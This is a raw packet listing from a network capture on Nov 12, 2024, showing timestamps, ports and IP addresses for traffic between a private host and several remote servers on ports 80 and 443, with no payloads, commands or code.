Nov 12, 2024 06:23:43.145507097 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.145512104 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.145571947 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.145571947 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.145577908 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.145610094 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.145616055 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.145663977 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.145663977 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.145693064 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.145699978 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.145862103 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.146440983 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.146454096 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.146462917 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.146549940 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.152084112 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.152087927 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.153631926 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.218982935 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.219034910 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.219171047 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.219362974 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.219372034 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.219391108 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.219396114 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.221910954 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.221939087 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.222127914 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.222127914 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.222157001 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.245403051 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.245421886 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.245457888 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.245522976 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.245522976 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.245738029 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.245738029 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.245750904 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.245759010 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.249630928 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.249651909 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.249800920 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.249933958 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.249947071 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.252645969 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.252691031 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.252892971 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.252892971 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.253434896 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.253446102 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.257632971 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.257664919 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.259939909 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.260169983 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.260183096 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.262223005 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262254000 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262264013 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262309074 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262346983 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.262386084 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.262569904 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262576103 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262587070 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262792110 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.262959957 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262972116 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262978077 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262983084 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.262989044 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.263036013 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.263036013 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.268925905 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.269408941 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.274487972 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.274559975 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.274893045 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.274921894 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.274930954 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.274961948 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.274966955 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.277244091 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.277276993 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.277632952 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.277702093 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.277718067 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.297869921 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.297873974 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.297993898 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.379357100 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379429102 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379432917 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379440069 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379456997 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.379479885 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379486084 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379504919 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379515886 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.379523993 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.379547119 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.379625082 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.380264044 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.380283117 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.380325079 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.380330086 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.380357027 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.380506039 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.385915995 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.385926962 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.386008978 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.414612055 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.414616108 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.414704084 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808600903 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808614016 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808631897 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808644056 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808654070 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808664083 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808682919 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808689117 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808706999 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808717012 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808727026 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808734894 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808736086 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808747053 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808759928 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808764935 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808775902 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808787107 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808794022 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808794022 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808799982 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808806896 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808813095 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808824062 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808831930 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808840036 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808844090 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808864117 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808896065 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.808974981 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808985949 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.808995008 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809037924 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809037924 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809149981 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809160948 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809170961 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809181929 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809191942 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809206963 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809212923 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809226036 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809237957 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809241056 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809241056 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809251070 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809261084 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809269905 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809269905 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809269905 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809281111 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809284925 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809298038 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809307098 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809314966 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809315920 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809325933 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809333086 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809349060 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809351921 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.809377909 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809448004 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.809477091 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:43.810755968 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:43.810755968 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:43.810786009 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:43.810806036 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:43.810844898 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:43.810858965 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:43.813823938 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.813836098 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.813846111 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.813878059 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.813888073 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.813899040 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.813905001 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.813922882 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.813957930 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.814239025 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.814256907 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.814270020 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.814281940 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.814291954 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.814302921 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.814304113 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.814330101 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.814330101 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.814404964 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.815264940 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.815275908 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.815287113 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.815296888 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.815356016 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.815356016 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.847340107 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.847429991 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.847457886 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.847537041 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.847567081 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.847579956 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.847589970 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.847603083 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.847613096 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.847618103 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.847640038 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.847735882 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.848154068 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.848164082 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.848172903 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.848221064 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.848221064 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.848551035 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.848562956 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.848572016 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.848625898 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.848625898 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.882711887 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.882797956 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.882839918 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.882849932 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.882864952 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.882875919 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.882885933 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.882889032 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.882889032 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.882911921 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.883002043 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.942825079 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.948896885 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.948915005 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.949623108 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.949626923 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.964351892 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964363098 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964374065 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964413881 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964423895 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964433908 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964443922 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.964443922 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.964482069 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964493036 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.964517117 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.964550018 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.965379953 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.965389967 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.965400934 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.965435028 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.965449095 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.965465069 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.965465069 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.965536118 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.991540909 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.992026091 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.992034912 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.992204905 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.992539883 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.992542028 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.992544889 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.992573023 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.993633986 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.993638992 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.997090101 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.997406960 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.997419119 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.997745037 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.997747898 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.999844074 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.999854088 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.999865055 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.999916077 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.999927044 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.999933958 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.999933958 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.999937057 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:43.999968052 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.000010014 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.012976885 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.013381958 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.013394117 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.014075994 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.014082909 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.074400902 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.074430943 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.074470997 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.074489117 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.074525118 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.074704885 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.074717999 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.074727058 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.074732065 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.080449104 CET	54633	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.080497026 CET	443	54633	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.080562115 CET	54633	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.080822945 CET	54633	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.080837011 CET	443	54633	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.081307888 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081317902 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081327915 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081358910 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.081379890 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.081439018 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081481934 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.081511974 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081521988 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081546068 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.081566095 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.081882000 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081892014 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081902981 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081916094 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.081935883 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.081949949 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.082432985 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.082442045 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.082479954 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.082613945 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.082638979 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.082643986 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.082684040 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.116941929 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.116961002 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.116971970 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.116998911 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.117080927 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.117089033 CET	80	54620	185.215.113.16	192.168.2.5
